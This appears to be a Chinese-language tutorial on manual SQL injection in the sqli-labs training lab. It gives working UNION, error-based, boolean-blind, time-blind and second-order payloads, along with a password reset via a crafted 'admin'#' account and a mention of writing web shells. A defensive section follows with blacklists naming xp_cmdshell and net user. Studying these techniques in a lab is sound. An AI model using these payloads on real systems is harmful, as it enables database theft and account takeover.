如下是经过SLQi-labs平台的部分简单例题的手工注入过程php
页面提示:Please input the ID as parameter with numeric valuehtml
咱们首先构造id参数值:前端
http://192.168.2.198/sqli-labs-master/Less-1/?id=1' or 1=1--+
肯定存在注入点,并猜想SQL语句为:mysql
select [字段] from [表] where [id]="$id";
由于UNION联合语句函数的格式要求,UNION后的联合语句的回显字段数要和UNION前的回显列数一致……git
order by *
union select 1,2,……
注意:id的value咱们须要给一个不存在结果的valuesql
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
group_concat()
: 将group by产生的同一个分组中的值链接起来,返回一个字符串结果shell
上段~将数据库中的全部表名拼接成一个字符串返回数据库
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
union select 1,group_concat(id,0x7e,email_id),3 from emails --+
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
extractvalue(XML,XPath)
从目标XML中返回包含查询值得字符串浏览器
参数XML:String格式,为XML文档对象得名称安全
参数XPath:xpath格式得字符串
由于咱们在xpath输入的不是要求的xpath格式的字符串,因此函数会报错返回xpath参数内容
xpath会被带入mysql进行执行操做,发现不是xpath格式,可是只有在执行后才会发现,就会执行concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())
sql代码,查询内容而且concat拼接字符串,随后由extractvalue函数返回报错~
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
从返回的结果发现问题,没有显示所有的字段信息;能够利用筛选过滤条件来
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in ('Dumb','Angelina'))))=1 --+
利用条件where约束来过滤掉咱们已知的字段信息,因而mysql在执行的时候就会越过Dumb和Angelina信息,显示后面的信息……以此类推!咱们就能够经过不断的条件绕过回显的模式来获取全部内容!在不少状况下咱们发现没法彻底回显内容,均可以利用这个方法来绕过已知字段信息
经过判断注入点的语句,判断注入点为数字型注入点:
?id=1 and 1=1 --+ #判断数字型注入点 ?id=1' and 1=1 --+ #判断字符型注入点
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
?id=0 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
Less2的具体攻击方法和Less1同样,不一样的是Less2是数字型注入,不须要单引号闭合
判断注入点
从报错信息显示,咱们的id—value写在SQL语句的括号中,换言之就是,这条SQL语句缺乏一个右括号~
肯定注入点和方法策略后按照Less1/2的方法UNION/报错注入方法
判断注入点
?id=1 ?id=1' ?id=1') ?id=1" # 报错…… ^
咱们的ID值会放在SQL语句中,且被("$id")
包围
?id=1") --+
按照这回显,能够认为这是一处盲注……
SQL盲注点 ~~ UNION联合(回显)查询的方法就不能够了……
?id=1' and left(version(),1)='5' --+
left()
:从左截取a结果的1个长度的字符
只有当and
后面的sql语句为True才不会报错~……
经过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,因此版本信息第一个字符是‘5’)由此推演,咱们能够利用布尔的判断特性来猜解数据库名……
如上~ 若是咱们不断的对目标进行猜解,就能够获得数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也能够经过length(database())>=*
进行猜解
牢记布尔盲注的特色:只有当and
后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就能够创造奇迹
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
ascii(substr((select database()),1,1))=98
substr(a,b,c)
将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
XPath报错注入:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0x7e) --+
主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,
?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
ascii()
负责猜解;if()
负责判断,如果猜解成立则返回1,如果猜解不成立延迟10秒
从报错结果中,看出注释符应该被禁了……并且从报错结果认定布尔和报错注入是不可举的!!!
于者乎……时间盲注是最优选择~~~
固然了……还有在这里说一说文件的导入于导出的方法:
*- 借鉴sqli-labs-24
分析环境文件:
login.php
:查询数据库用户存在和验证登陆
login.php中使用了mysql_real_escape_string()
函数对用户输入的字符串进行处理;会将特殊字符进行转义使之失去效果;可是~以后数据存储进数据库后转义的字符会恢复原样!
在login_create.php
注册页面中,使用了mysql_real_escape_string()
可是数据仍是会被存放在数据库中……
数据会被完整的记录在数据库中
数据库中有了咱们的“小玩意”以后……
登陆咱们的帐户,由于咱们的帐户是以admin'#
保存的,当然要这样的去访问和登陆
前端提交user和pass后,会在修改密码页面修改密码
就这样咱们成功的修改了admin的密码!为啥呢?
Sql 语句变为 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’
也 就 是 执 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’
利用注册的admin’# 修改密码时候从数据库提取该数据 形成了数据 命令拼接
SQL注入能够作什么?若是从一个普通人的角度看,第一想起的就是“万能密码”即经过构造SQL注入语句绕过密码验证。
获取数据库信息
发现SQL注入点后,经过猜解的方式获取当前数据库的库结构、表结构、字段内容,并经过Payload获取服务器的物理路径信息、用户信息、敏感数据信息等,若是成功的得到了数据库或服务器的高权限就能够“拖库”。
写入Shell
经过SQL注入漏洞执行写文件操做(写入Shell),例如:loadfile()
into outfile
等函数均可以实现读写本地文件。固然读写文件的先决条件:文件的读写权限、文件为可读属性、了解文件的物理路径等。
本文的SQL注入防护将会基于“常见SQL注入环境搭建(by:Mirror王宇阳)”中的搭建的环境作出防护措施。
将经常使用的SQL注入字符写入到黑名单中,而后经过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
# 部分敏感字符和字符串 delete from|from|count\(|drop table|update|truncate|mid\(|char\(|xp_cmdshell|exec master|netlocalgroup administrators|net user|[\{|\}|!|\']
# 前端处理 var str = "select * from table where id=123"; var reg = /(.*?((select)|(from)|(count)|(delete)|(update)|(drop)|(truncate)).*?){2,}/i; return(reg.test(str));
在字符过滤方面,一般过滤空格、括号、引号……等特殊字符,可是这些能够绕过的:
举例:过滤空格 select/**/name/**/from/**/user/**/where/**/id='kk' 或 select(name)from(user)where(id='kk')
经过这种方法就会规避对空格的过滤;过滤括号和引号select name from user wehere id=0x6b6b
0x6b6b(kk的十六进制)
因为SQL注入过程当中须要构造较长的SQL语句,所以,一些特定的程序可使用限制用户提交的请求内容的长度来达到防护SQL注入的目的,但这种效果并很差。
// 接收参数text if(isset($_GET['text']) && strlen($_GET['text']) < 10){ $text=$_GET['text']; } else { echo "输入内容不符规范"; }
根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具有select权限便可,这样即便程序存在问题,恶意用户也没法对表进行update或insert等写入操做。
WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
由于PHP语言没有严格的限制数据类型的定义例如:“ID=1 就默认ID为Intger ; name=kk 默认name为string”在PHP的弱类型管理中这是不安全的。
举例:
// 接收参数text if(isset($_GET['text'])){ $text=$_GET['text']; } // 拼接sql语句并执行 $sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1"; echo 'SQL拼接结果:'.$sql; echo '<hr>'; // 执行sql语句并返回结果 $result=mysqli_query($conn, $sql);
这里的text参数没有限制咱们的输入,理论上咱们的输入应该限制为“Intger”;当text接到' union select 1,database(),version(),4; -- +
参数后就会自动推导text为“String”类型并拼接为SQL语句。
这里可使用is_numeric()
ctype_digit()
函数判断数据类型
is_numeric():检测变量是否为数字或数字字符串;指定的变量是数字和数字字符串则返回 TRUE,不然返回 FALSE。
if(isset($_GET['text']) && is_numeric($_GET['text'])){ $text=$_GET['text']; } else { echo "输入内容不符规范"; }
ctype_digit():纯数字检测;对指定的变量检测判断是否为连续且纯数字的字符串(字符串离全为数字)。
if(isset($_GET['text']) && ctype_digit($_GET['text'])){ $text=$_GET['text']; } else { echo "输入内容不符规范"; }
缺陷:
这里只能够有效的预防数字型的注入点,而String类型的注入点此方法则无效。
在字符型注入点,任何恶意的SQL攻击都会包含一些特殊的字符,例如空格、括号、引号……等。若是存在敏感的特殊字符,须要使用字符转义。
function safe_replace($string) { $string = str_replace('%20', '', $string); $string = str_replace('%27', '', $string); $string = str_replace('%2527', '', $string); $string = str_replace('*', '', $string); $string = str_replace('"', '"', $string); $string = str_replace("'", '', $string); $string = str_replace('"', '', $string); $string = str_replace(';', '', $string); $string = str_replace('<', '<', $string); $string = str_replace('>', '>', $string); $string = str_replace("{", '', $string); $string = str_replace('}', '', $string); …… …… …… …… return $string; }
对一些例如单引号、双引号、反斜杠等特殊字符添加一个反斜杠以确保在查询这些数据以前,用户提供的输入是干净的。但要注意,你是在链接数据库的前提下使用这个函数。
这个函数的原理跟mysql_real_escape_string()类似。可是当在php.ini文件中,“magic_quotes_gpc“的值是“on”的时候,就不要使用这个函数。magic_quotes_gpc 的默认值是on,对全部的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),由于这样会致使双层转义。你可使用get_magic_quotes_gpc()函数来肯定它是否开启。
这个函数对于过滤用户输入的数据很是有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被该函数转化为HTML实体<(<),输入>就被转为实体>.(HTML实体对照表:http://www.w3school.com.cn/html/html_entities.asp),能够防止XSS和SQL注入攻击。
在HTML中,一些特定字符有特殊的含义,若是要保持字符原来的含义,就应该转换为HTML实体。这个函数会返回转换后的字符串,例如‘&’ (ampersand) 转为’&‘(ps:请参照第三点中的实体对照表连接)
这个函数能够去除字符串中全部的HTML,JavaScript和PHP标签,固然你也能够经过设置该函数的第二个参数,让一些特定的标签出现。
笔者在学习SQL注入期间了解的注入防护策略不多,可能也是实践的操做仍是太少、代码基础仍有欠缺……By:Mirror王宇阳